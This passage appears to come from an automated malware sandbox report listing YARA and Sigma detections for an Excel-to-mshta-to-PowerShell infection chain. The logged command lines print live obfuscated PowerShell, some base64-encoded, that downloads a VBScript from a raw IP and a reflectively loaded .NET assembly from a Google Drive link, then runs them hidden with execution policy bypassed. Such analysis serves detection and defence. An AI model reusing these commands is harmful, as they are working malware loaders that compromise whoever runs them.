Process Memory Space: powershell.exe PID: 3044	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1aca:$b2: ::FromBase64String( 0x20aa:$b2: ::FromBase64String( 0xd212:$b2: ::FromBase64String( 0xd85f:$b2: ::FromBase64String( 0xea73:$b2: ::FromBase64String( 0x1424e:$b2: ::FromBase64String( 0x14a42:$b2: ::FromBase64String( 0x1509b:$b2: ::FromBase64String( 0x2d873:$b2: ::FromBase64String( 0x2debf:$b2: ::FromBase64String( 0x367cb:$b2: ::FromBase64String( 0x3767f:$b2: ::FromBase64String( 0x38d8b:$b2: ::FromBase64String( 0x53a2f:$b2: ::FromBase64String( 0x5d08e:$b2: ::FromBase64String( 0x98f5a:$b2: ::FromBase64String( 0x37448:$b3: ::UTF8.GetString( 0x38b92:$b3: ::UTF8.GetString( 0x8d6e:$s1: -join 0x375fa:$s1: -join 0x38d10:$s1: -join
Process Memory Space: powershell.exe PID: 4032	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4032	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x8768:$b2: ::FromBase64String( 0x9655:$b2: ::FromBase64String( 0xad6d:$b2: ::FromBase64String( 0x2354d:$b2: ::FromBase64String( 0x23d22:$b2: ::FromBase64String( 0x2437a:$b2: ::FromBase64String( 0x44b8d:$b2: ::FromBase64String( 0x451da:$b2: ::FromBase64String( 0x4634b:$b2: ::FromBase64String( 0x4b916:$b2: ::FromBase64String( 0x4bf62:$b2: ::FromBase64String( 0x539db:$b2: ::FromBase64String( 0x54015:$b2: ::FromBase64String( 0x5fe3d:$b2: ::FromBase64String( 0x6846b:$b2: ::FromBase64String( 0x941e:$b3: ::UTF8.GetString( 0xab74:$b3: ::UTF8.GetString( 0x95d0:$s1: -join 0xacf2:$s1: -join 0x152fd:$s1: -join 0x22817:$s1: -join

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3456, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H,

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H,

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H,

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , ProcessId: 3144, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", CommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgI

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3456, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3748, ProcessName: mshta.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

